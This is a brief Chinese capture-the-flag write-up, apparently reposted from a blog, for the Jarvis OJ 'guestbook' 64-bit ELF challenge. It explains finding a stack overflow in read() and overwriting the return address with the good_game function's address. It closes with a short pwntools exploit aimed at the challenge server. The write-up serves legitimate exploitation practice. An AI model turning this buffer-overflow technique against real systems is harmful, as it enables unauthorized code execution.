题目地址
https://dn.jarvisoj.com/challengefiles/guestbook.d3d5869bd6fb04dd35b29c67426c0f05
先看看位数 64位ELF
丢到Ubuntu看看有没有什么保护机制
用IDA查看 F5转化为伪代码
发现可以good_game函数中可以直接打开flag.txt
但是main函数不会执行good_game函数,不过 read函数存在栈溢出,我们可以填充一些无意义的字符,一直到返回函数的时候,填充good_game的入口地址,这样就可以执行good_game函数,需要填充多少字符,可以用IDA来查看,也可以用cyclic来填充字符
需要填充0x88个字节来,在写入good_game的地址
查看good_game的入口地址
然后开始编写exp
from pwn import *
r=remote(‘pwn.jarvisoj.com‘,9876)
payload=(0x88)*‘a‘+p64(0x400620)
r.sendline(payload)
r.interactive()
执行
原文:https://www.cnblogs.com/gaonuoqi/p/11634770.html